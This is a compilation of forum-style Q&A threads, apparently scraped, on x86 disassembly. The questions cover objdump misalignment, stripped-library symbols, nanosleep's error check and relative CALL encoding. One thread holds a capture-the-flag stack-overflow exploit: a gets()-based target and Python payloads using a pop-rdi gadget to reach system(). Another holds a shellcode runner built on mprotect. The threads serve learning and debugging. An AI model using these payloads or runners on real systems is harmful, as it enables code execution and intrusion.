I've been reading and studying assembly code. Code is below
Disassembly of section .text:
08048510 <main>:
8048510: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048514: 83 e4 f0 and $0xfffffff0,%esp
8048517: ff 71 fc pushl -0x4(%ecx)
804851a: 55 push %ebp
804851b: 89 e5 mov %esp,%ebp
804851d: 51 push %ecx
804851e: 83 ec 08 sub $0x8,%esp
8048521: 68 e0 93 04 08 push $0x80493e0
8048526: 68 c0 93 04 08 push $0x80493c0
804852b: 68 c9 93 04 08 push $0x80493c9
8048530: e8 7a 07 00 00 call 8048caf <eos_printf>
8048535: c7 04 24 d6 93 04 08 movl $0x80493d6,(%esp)
804853c: e8 6e 07 00 00 call 8048caf <eos_printf>
8048541: a1 38 c0 04 08 mov 0x804c038,%eax
8048546: bc 00 00 00 00 mov $0x0,%esp
804854b: ff e0 jmp *%eax
804854d: 8b 4d fc mov -0x4(%ebp),%ecx
8048550: 31 c0 xor %eax,%eax
8048552: c7 05 34 c0 04 08 00 movl $0x0,0x804c034
8048559: 00 00 00
804855c: c9 leave
804855d: 8d 61 fc lea -0x4(%ecx),%esp
8048560: c3 ret
Disassembly of section .data:
0804c030 <_irq_mask>:
804c030: ff (bad)
804c031: ff (bad)
804c032: ff (bad)
804c033: ff 01 incl (%ecx)
0804c034 <_eflags>:
804c034: 01 00 add %eax,(%eax)
...
0804c038 <_vector>:
804c038: 1d 8d 04 08 1d sbb $0x1d08048d,%eax
804c03d: 8d 04 08 lea (%eax,%ecx,1),%eax
804c040: 1d 8d 04 08 37 sbb $0x3708048d,%eax
804c045: 8d 04 08 lea (%eax,%ecx,1),%eax
At 0x8048541, EAX register is set to 0x804c038
At 0x804854b, process jump to the address pointed by EAX register
At 0x804c048, the instruction is < sbb $0x1d08048d, %eax>
By the instruction manual, sbb is stand for dest = dest - (src+carry flag). So we can replace 0x804c048 instruction to %eax = $eax - ($0x1d08048d + carry flag).
Then.... at that time, what value is set to carry flag value?
I didn't find any carry flag setting instruction previous to the 0x804c048 line. Is the carry flag is initially set to 0?
And the second question is, at 0x804854b, process jump to *%eax value. After that, how the process return to main function? there is nothing return instruction in _vector section.
I'll be glad to your help. Thanks.
Oh........ #MarkPlotnick You are God to me...... I was totally trapped in the < sbb $0x1d08048d, %eax >.
In the assembly source code, _vector array and _os_reset_handler function is defined as below.
.data
.global _vector
_vector:
.long _os_reset_handler
.long _os_reset_handler
.long _os_reset_handler
.long _os_irq_handler
.text
.global _os_reset_handler
_os_reset_handler:
_CLI
lea _os_init_stack_end, %esp
call _os_initialization
jmp _os_reset_handler
-----------------------
_CLI is defined in another c header file as macro
#define _CLI \
movl $0, _eflags;
I was consistently wondering why _vector array is not contain _os_reset_handler address. I read the disassembled code again and found that the objdump misaligned the hexcode at _vector data. "0x1d (address at 0x804c03c)" didn't go to new line, so it interpreted to irrelevant assembly code. (I'm very unhappy. I didn't do any other work to catch this problem for 10 hours...)
Anyway. At the address 0x8048d1d, there is _os_reset_handler function.
08048d1d <_os_reset_handler>:
8048d1d: c7 05 34 c0 04 08 00 movl $0x0,0x804c034
8048d24: 00 00 00
8048d27: 8d 25 48 d0 04 08 lea 0x804d048,%esp
8048d2d: e8 07 01 00 00 call 8048e39 <_os_initialization>
8048d32: e9 e6 ff ff ff jmp 8048d1d <_os_reset_handler>
No more questions. Thanks.
Related
I have a simple c file:
// filename: test.c
void fun() {}
Then I compile test.c to libtest.so using commands:
gcc -shared -fPIC -Wl,--gc-sections -ffunction-sections -fdata-sections -o libtest.so test.c
strip -s ./libtest.so
Then use readelf to print symbols and its size:
readelf -sW ./libtest.so
I got:
Symbol table '.dynsym' contains 11 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000420 0 SECTION LOCAL DEFAULT 9
2: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
3: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
4: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize#GLIBC_2.2.5 (2)
5: 00000000002007c8 0 NOTYPE GLOBAL DEFAULT ABS _end
6: 00000000002007b8 0 NOTYPE GLOBAL DEFAULT ABS _edata
7: 00000000002007b8 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
8: 0000000000000420 0 FUNC GLOBAL DEFAULT 9 _init
9: 000000000000052a 6 FUNC GLOBAL DEFAULT 11 fun
10: 0000000000000568 0 FUNC GLOBAL DEFAULT 12 _fini
Then use objdump to disassemble .text section of libtest.so:
objdump -S -d -j .text ./libtest.so
I got:
./libtest.so: file format elf64-x86-64
Disassembly of section .text:
0000000000000460 <fun-0xca>:
460: 48 83 ec 08 sub $0x8,%rsp
464: 48 8b 05 15 03 20 00 mov 0x200315(%rip),%rax # 200780 <_fini+0x200218>
46b: 48 85 c0 test %rax,%rax
46e: 74 02 je 472 <__cxa_finalize#plt+0x2a>
470: ff d0 callq *%rax
472: 48 83 c4 08 add $0x8,%rsp
476: c3 retq
477: 90 nop
478: 90 nop
479: 90 nop
47a: 90 nop
47b: 90 nop
47c: 90 nop
47d: 90 nop
47e: 90 nop
47f: 90 nop
480: 55 push %rbp
481: 80 3d 30 03 20 00 00 cmpb $0x0,0x200330(%rip) # 2007b8 <__bss_start>
488: 48 89 e5 mov %rsp,%rbp
48b: 41 54 push %r12
48d: 53 push %rbx
48e: 75 62 jne 4f2 <__cxa_finalize#plt+0xaa>
490: 48 83 3d f8 02 20 00 cmpq $0x0,0x2002f8(%rip) # 200790 <_fini+0x200228>
497: 00
498: 74 0c je 4a6 <__cxa_finalize#plt+0x5e>
49a: 48 8d 3d 57 01 20 00 lea 0x200157(%rip),%rdi # 2005f8 <_fini+0x200090>
4a1: e8 a2 ff ff ff callq 448 <__cxa_finalize#plt>
4a6: 48 8d 1d 3b 01 20 00 lea 0x20013b(%rip),%rbx # 2005e8 <_fini+0x200080>
4ad: 4c 8d 25 2c 01 20 00 lea 0x20012c(%rip),%r12 # 2005e0 <_fini+0x200078>
4b4: 48 8b 05 05 03 20 00 mov 0x200305(%rip),%rax # 2007c0 <__bss_start+0x8>
4bb: 4c 29 e3 sub %r12,%rbx
4be: 48 c1 fb 03 sar $0x3,%rbx
4c2: 48 83 eb 01 sub $0x1,%rbx
4c6: 48 39 d8 cmp %rbx,%rax
4c9: 73 20 jae 4eb <__cxa_finalize#plt+0xa3>
4cb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
4d0: 48 83 c0 01 add $0x1,%rax
4d4: 48 89 05 e5 02 20 00 mov %rax,0x2002e5(%rip) # 2007c0 <__bss_start+0x8>
4db: 41 ff 14 c4 callq *(%r12,%rax,8)
4df: 48 8b 05 da 02 20 00 mov 0x2002da(%rip),%rax # 2007c0 <__bss_start+0x8>
4e6: 48 39 d8 cmp %rbx,%rax
4e9: 72 e5 jb 4d0 <__cxa_finalize#plt+0x88>
4eb: c6 05 c6 02 20 00 01 movb $0x1,0x2002c6(%rip) # 2007b8 <__bss_start>
4f2: 5b pop %rbx
4f3: 41 5c pop %r12
4f5: c9 leaveq
4f6: c3 retq
4f7: 66 0f 1f 84 00 00 00 nopw 0x0(%rax,%rax,1)
4fe: 00 00
500: 48 83 3d e8 00 20 00 cmpq $0x0,0x2000e8(%rip) # 2005f0 <_fini+0x200088>
507: 00
508: 55 push %rbp
509: 48 89 e5 mov %rsp,%rbp
50c: 74 1a je 528 <__cxa_finalize#plt+0xe0>
50e: 48 8b 05 73 02 20 00 mov 0x200273(%rip),%rax # 200788 <_fini+0x200220>
515: 48 85 c0 test %rax,%rax
518: 74 0e je 528 <__cxa_finalize#plt+0xe0>
51a: 48 8d 3d cf 00 20 00 lea 0x2000cf(%rip),%rdi # 2005f0 <_fini+0x200088>
521: c9 leaveq
522: ff e0 jmpq *%rax
524: 0f 1f 40 00 nopl 0x0(%rax)
528: c9 leaveq
529: c3 retq
000000000000052a <fun>:
52a: 55 push %rbp
52b: 48 89 e5 mov %rsp,%rbp
52e: c9 leaveq
52f: c3 retq
530: 55 push %rbp
531: 48 89 e5 mov %rsp,%rbp
534: 53 push %rbx
535: 48 83 ec 08 sub $0x8,%rsp
539: 48 8b 05 90 00 20 00 mov 0x200090(%rip),%rax # 2005d0 <_fini+0x200068>
540: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
544: 74 19 je 55f <fun+0x35>
546: 48 8d 1d 83 00 20 00 lea 0x200083(%rip),%rbx # 2005d0 <_fini+0x200068>
54d: 0f 1f 00 nopl (%rax)
550: 48 83 eb 08 sub $0x8,%rbx
554: ff d0 callq *%rax
556: 48 8b 03 mov (%rbx),%rax
559: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
55d: 75 f1 jne 550 <fun+0x26>
55f: 48 83 c4 08 add $0x8,%rsp
563: 5b pop %rbx
564: c9 leaveq
565: c3 retq
We can tell that the size of symbol fun is 6 which is correspond to virtual address 0x52a ~ 0x52f.
I have two question:
what does symbol fun-0xca do?
what does assembly code from 0x530 to 0x565 in symbol fun do?
Omit the strip -s ./libtest.so.
In the GCC-created libtest.so, each separate function has a symbol in the symbol table. objdump -drwC -Mintel libtest.so will show names for each one, like _init, deregister_tm_clones, register_tm_clones, and __do_global_dtors_aux. These come from CRT startup code, I think; use gcc -v when you're linking to see any extra .o files it passes to ld.
Stripping symbols removes that information, leaving machine code in the text section without a symbol name. The only symbol left for objdump to reference is fun, so it labels the first block of code relative to that, as fun-0xca.
I am trying to get a shell by overflowing the stack, but no matter what I do it doesn't work. ASLR is On, but stack cookies are off and I can't execute code on the stack. here is the code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void secret() {
system("bash");
}
void start() {
char user[32];
puts("User : ");
gets(user);
write(1, "Hello ", 6);
write(1, user, strlen(user));
puts("!");
}
void main() {
if (seteuid(1001) == -1 || setuid(1001) == -1 || setegid(1001) == -1 || setgid(1001) == -1) {
printf("Error for 'setuid'\n");
}
setvbuf(stdout, NULL, _IONBF, 0x500);
start();
}
As soon as the stack is overlfowed, execve called in system.c, return a zombie shell. Even tought i call secret in real code.
here is my python silly script
buf = ""
buf += "A"*32
# RBP
buf += struct.pack("<Q", 0x7fffffffe1c0)
#secret call
buf += struct.pack("<Q", 0x000055555555491a)
f = open("payload", "w")
f.write(buf)
and here is the dasm of the exec
000000000000091a <secret>:
91a: 55 push %rbp
91b: 48 89 e5 mov %rsp,%rbp
91e: 48 8d 3d 6f 01 00 00 lea 0x16f(%rip),%rdi # a94 <_IO_stdin_used+0x4>
925: e8 66 fe ff ff callq 790 <system#plt>
92a: 90 nop
92b: 5d pop %rbp
92c: c3 retq
000000000000092d <start>:
92d: 55 push %rbp
92e: 48 89 e5 mov %rsp,%rbp
931: 48 83 ec 20 sub $0x20,%rsp
935: 48 8d 3d 5d 01 00 00 lea 0x15d(%rip),%rdi # a99 <_IO_stdin_used+0x9>
93c: e8 1f fe ff ff callq 760 <puts#plt>
941: 48 8d 45 e0 lea -0x20(%rbp),%rax
945: 48 89 c7 mov %rax,%rdi
948: b8 00 00 00 00 mov $0x0,%eax
94d: e8 4e fe ff ff callq 7a0 <gets#plt>
952: ba 06 00 00 00 mov $0x6,%edx
957: 48 8d 35 43 01 00 00 lea 0x143(%rip),%rsi # aa1 <_IO_stdin_used+0x11>
95e: bf 01 00 00 00 mov $0x1,%edi
963: e8 08 fe ff ff callq 770 <write#plt>
968: 48 8d 45 e0 lea -0x20(%rbp),%rax
96c: 48 89 c7 mov %rax,%rdi
96f: e8 0c fe ff ff callq 780 <strlen#plt>
974: 48 89 c2 mov %rax,%rdx
977: 48 8d 45 e0 lea -0x20(%rbp),%rax
97b: 48 89 c6 mov %rax,%rsi
97e: bf 01 00 00 00 mov $0x1,%edi
983: e8 e8 fd ff ff callq 770 <write#plt>
988: 48 8d 3d 19 01 00 00 lea 0x119(%rip),%rdi # aa8 <_IO_stdin_used+0x18>
98f: e8 cc fd ff ff callq 760 <puts#plt>
994: 90 nop
995: c9 leaveq
996: c3 retq
0000000000000997 <main>:
997: 55 push %rbp
998: 48 89 e5 mov %rsp,%rbp
99b: bf e9 03 00 00 mov $0x3e9,%edi
9a0: e8 4b fe ff ff callq 7f0 <seteuid#plt>
9a5: 83 f8 ff cmp $0xffffffff,%eax
9a8: 74 2d je 9d7 <main+0x40>
9aa: bf e9 03 00 00 mov $0x3e9,%edi
9af: e8 1c fe ff ff callq 7d0 <setuid#plt>
9b4: 83 f8 ff cmp $0xffffffff,%eax
9b7: 74 1e je 9d7 <main+0x40>
9b9: bf e9 03 00 00 mov $0x3e9,%edi
9be: e8 1d fe ff ff callq 7e0 <setegid#plt>
9c3: 83 f8 ff cmp $0xffffffff,%eax
9c6: 74 0f je 9d7 <main+0x40>
9c8: bf e9 03 00 00 mov $0x3e9,%edi
9cd: e8 ee fd ff ff callq 7c0 <setgid#plt>
9d2: 83 f8 ff cmp $0xffffffff,%eax
9d5: 75 0c jne 9e3 <main+0x4c>
9d7: 48 8d 3d cc 00 00 00 lea 0xcc(%rip),%rdi # aaa <_IO_stdin_used+0x1a>
9de: e8 7d fd ff ff callq 760 <puts#plt>
9e3: 48 8b 05 8e 06 20 00 mov 0x20068e(%rip),%rax # 201078 <stdout##GLIBC_2.2.5>
9ea: b9 00 05 00 00 mov $0x500,%ecx
9ef: ba 02 00 00 00 mov $0x2,%edx
9f4: be 00 00 00 00 mov $0x0,%esi
9f9: 48 89 c7 mov %rax,%rdi
9fc: e8 af fd ff ff callq 7b0 <setvbuf#plt>
a01: b8 00 00 00 00 mov $0x0,%eax
a06: e8 22 ff ff ff callq 92d <start>
a0b: 90 nop
a0c: 5d pop %rbp
a0d: c3 retq
a0e: 66 90 xchg %ax,%ax
please help
Edit
I managed to cat a file by doing..
import struct
buf = "A"*32
# RBP
buf += struct.pack("<Q", 0x7fffffffe1c0)
#POP RDI
buf += struct.pack("<Q", 0x0000000000000a73+0x555555554000)
buf += struct.pack("<Q", 0x7fffffffe1d0)
# call secret
buf += struct.pack("<Q", 0x0000555555554925)
buf += "cat flag.txt\x00"
Does this means i would have to take a register with close address to 0x7fffffffe1d0 and add a constant when aslr is on using a gadget?
The disassembly of nanosleep in libc-2.7.so on 64-bit Linux looks like this:
Disassembly of section .text:
00000000000bd460 <__nanosleep>:
cmpl $0x0,__libc_multiple_threads
jne 10
00000000000bd469 <__nanosleep_nocancel>:
mov $0x23,%eax
syscal
10: cmp $0xfffffffffffff001,%rax
jae 40
retq
sub $0x8,%rsp
callq __libc_enable_asynccancel
mov %rax,(%rsp)
mov $0x23,%eax
syscal
mov (%rsp),%rdi
mov %rax,%rdx
callq __libc_disable_asynccancel
mov %rdx,%rax
add $0x8,%rsp
40: cmp $0xfffffffffffff001,%rax
jae 40
retq
mov _DYNAMIC+0x2e0,%rcx
neg %eax
mov %eax,%fs:(%rcx)
or $0xffffffffffffffff,%rax
retq
Near the bottom of this assembly code, there is this polling loop:
40: cmp $0xfffffffffffff001,%rax
jae 40
How would the value of rax change while this loop is executing? Wouldn't it either loop forever or not at all? What is this loop meant to accomplish?
I suspect this is related to the syscall instruction since the return value of syscall is put into register rax, but I'm not sure how this is related exactly. The way the code is written makes it look like syscall doesn't block and the value in rax changes spontaneously but that doesn't seem right.
I'm interested to know what's going on here.
I don't see these spin loops.
Here's what I get from objdump -d /lib/x86_64-linux-gnu/libc.so.6, with what you show as loops highlighted with ** and the address they jump to with ->.
00000000000c0f10 <__nanosleep>:
c0f10: 83 3d 5d 31 30 00 00 cmpl $0x0,0x30315d(%rip) # 3c4074 <argp_program_version_hook+0x1cc>
c0f17: 75 10 jne c0f29 <__nanosleep+0x19>
c0f19: b8 23 00 00 00 mov $0x23,%eax
c0f1e: 0f 05 syscall
c0f20: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax
** c0f26: 73 31 jae c0f59 <__nanosleep+0x49>
c0f28: c3 retq
c0f29: 48 83 ec 08 sub $0x8,%rsp
c0f2d: e8 3e 72 04 00 callq 108170 <pthread_setcanceltype+0x80>
c0f32: 48 89 04 24 mov %rax,(%rsp)
c0f36: b8 23 00 00 00 mov $0x23,%eax
c0f3b: 0f 05 syscall
c0f3d: 48 8b 3c 24 mov (%rsp),%rdi
c0f41: 48 89 c2 mov %rax,%rdx
c0f44: e8 87 72 04 00 callq 1081d0 <pthread_setcanceltype+0xe0>
c0f49: 48 89 d0 mov %rdx,%rax
c0f4c: 48 83 c4 08 add $0x8,%rsp
c0f50: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax
** c0f56: 73 01 jae c0f59 <__nanosleep+0x49>
c0f58: c3 retq
-> c0f59: 48 8b 0d 08 cf 2f 00 mov 0x2fcf08(%rip),%rcx # 3bde68 <_IO_file_jumps+0x7c8>
c0f60: f7 d8 neg %eax
c0f62: 64 89 01 mov %eax,%fs:(%rcx)
c0f65: 48 83 c8 ff or $0xffffffffffffffff,%rax
c0f69: c3 retq
c0f6a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
The rest of the code is similar. Maybe it's an issue with the disassembly?
I want to convert this assembly program to shellcode.
This program just creates a file , my purpose is how I should convert assembly to shellcode when I using extern command in it
My assmbly code is :
extern _fopen,_fclose
global main
section .text
main:
xor r10,r10
push r10
mov r13, 0x6277
push r13
mov rsi,rsp
push r10
mov r13, 0x726964656b616d
push r13
mov rdi,rsp
call _fopen
mov r14, rax
mov rdi, r14
call _fclose
mov rax, 0x2000001 ; exit
mov rdi, 0
syscall
I used this command to compile it :
nasm -f macho64 test2.asm
ld -o test -e main test2.o -lSystem
and I used objdum -d test to create shellcode
...........$ objdump -d test
test: file format mach-o-x86-64
Disassembly of section .text:
0000000000001f93 <main>:
1f93: 4d 31 d2 xor %r10,%r10
1f96: 41 52 push %r10
1f98: 41 bd 77 62 00 00 mov $0x6277,%r13d
1f9e: 41 55 push %r13
1fa0: 48 89 e6 mov %rsp,%rsi
1fa3: 41 52 push %r10
1fa5: 49 bd 6d 61 6b 65 64 movabs $0x726964656b616d,%r13
1fac: 69 72 00
1faf: 41 55 push %r13
1fb1: 48 89 e7 mov %rsp,%rdi
1fb4: e8 1d 00 00 00 callq 1fd6 <_fopen$stub>
1fb9: 49 89 c6 mov %rax,%r14
1fbc: 4c 89 f7 mov %r14,%rdi
1fbf: e8 0c 00 00 00 callq 1fd0 <_fclose$stub>
1fc4: b8 01 00 00 02 mov $0x2000001,%eax
1fc9: bf 00 00 00 00 mov $0x0,%edi
1fce: 0f 05 syscall
Disassembly of section __TEXT.__stubs:
0000000000001fd0 <_fclose$stub>:
1fd0: ff 25 3a 00 00 00 jmpq *0x3a(%rip) # 2010 <_fclose$stub>
0000000000001fd6 <_fopen$stub>:
1fd6: ff 25 3c 00 00 00 jmpq *0x3c(%rip) # 2018 <_fopen$stub>
Disassembly of section __TEXT.__stub_helper:
0000000000001fdc <__TEXT.__stub_helper>:
1fdc: 68 00 00 00 00 pushq $0x0
1fe1: e9 0a 00 00 00 jmpq 1ff0 <_fopen$stub+0x1a>
1fe6: 68 0e 00 00 00 pushq $0xe
1feb: e9 00 00 00 00 jmpq 1ff0 <_fopen$stub+0x1a>
1ff0: 4c 8d 1d 11 00 00 00 lea 0x11(%rip),%r11 # 2008 <>
1ff7: 41 53 push %r11
1ff9: ff 25 01 00 00 00 jmpq *0x1(%rip) # 2000 <>
1fff: 90 nop
In normal condition i used opcode in "main" section and conveted it to shellcode and used this code to run it
#include <sys/mman.h>
#include <inttypes.h>
#include <unistd.h>
char code[] = "\x4d\x31\xd2\x41\x52\x41...For Example ...";
int main()
{
int (*ret)() = (int (*)())code;
void *page = (void *)((uintptr_t)code & ~(getpagesize() - 1));
mprotect(page, sizeof code, PROT_EXEC);
ret();
return 0;
}
but in this case it dosen't work and I know I should used other sections opcodes mentioned below the main section , but I don't know the arrange of calling them.
Please guide me.
your assmbly code is written in x64 mode,are you sure that the loader-'main' program is also compile to x64?
This one I've tried with an Macho64-Binary
for i in $( otool -t test2.o | cut -d ' ' -f 2- | grep ' '); do echo -n '\\x'$i; done; echo
Following is the output of objdump of a sample program,
080483b4 <display>:
80483b4: 55 push %ebp
80483b5: 89 e5 mov %esp,%ebp
80483b7: 83 ec 18 sub $0x18,%esp
80483ba: 8b 45 0c mov 0xc(%ebp),%eax
80483bd: 89 44 24 04 mov %eax,0x4(%esp)
80483c1: 8d 45 fe lea 0xfffffffe(%ebp),%eax
80483c4: 89 04 24 mov %eax,(%esp)
80483c7: e8 ec fe ff ff call 80482b8 <strcpy#plt>
80483cc: 8b 45 08 mov 0x8(%ebp),%eax
80483cf: 89 44 24 04 mov %eax,0x4(%esp)
80483d3: c7 04 24 f0 84 04 08 movl $0x80484f0,(%esp)
80483da: e8 e9 fe ff ff call 80482c8 <printf#plt>
80483df: c9 leave
80483e0: c3 ret
080483e1 <main>:
80483e1: 8d 4c 24 04 lea 0x4(%esp),%ecx
80483e5: 83 e4 f0 and $0xfffffff0,%esp
80483e8: ff 71 fc pushl 0xfffffffc(%ecx)
80483eb: 55 push %ebp
80483ec: 89 e5 mov %esp,%ebp
80483ee: 51 push %ecx
80483ef: 83 ec 24 sub $0x24,%esp
80483f2: c7 44 24 04 f3 84 04 movl $0x80484f3,0x4(%esp)
80483f9: 08
80483fa: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8048401: e8 ae ff ff ff call 80483b4 <display>
8048406: b8 00 00 00 00 mov $0x0,%eax
804840b: 83 c4 24 add $0x24,%esp
804840e: 59 pop %ecx
804840f: 5d pop %ebp
8048410: 8d 61 fc lea 0xfffffffc(%ecx),%esp
What i need to understand, is in main we see the following at address - 8048401, call 80483b4 , however the machine code is - e8 ae ff ff ff. I see that CALL instruction is E8 but how is the address of function 80483b4 getting decoded to FFFFFFAE? I did a lot of search in google but it did not return anything. Can Anyone please explain?
E8 is the operand for "Call Relative", meaning the destination address is computed by adding the operand to the address of the next instruction. The operand is 0xFFFFFFAE, which is negative 0x52. 0x808406 - 0x52 is 0x80483b4.
Most disassemblers helpfully calculate the actual target address rather than just give you the relative address in the operand.
Complete info for x86 ISA at: http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-2a-manual.html
Interesting question. I've had a look at Intel's documentation and the E8 opcode is CALL rel16/32. 0xffffffae is actually a 32-bit two's complement signed integer equal to -82 decimal; it is a relative address from the byte immediately after the opcode and its operands.
If you do the math you can see it checks out:
0x8048406 - 82 = 0x80483b4
This puts the instruction pointer at the beginning of the display function.
Near calls are typically IP-relative -- meaning, the "address" is actually an offset from the instruction pointer. In such case, EIP points to the next instruction (so its value is 8048406). Add ffffffae (or -00000052 in two's complement) to it, and you get 80483b4.
Note that all this math is 32-bit. You're not doing any 64-bit operations here (or your registers would have Rs instead of Es in their names, and the addresses would be much longer).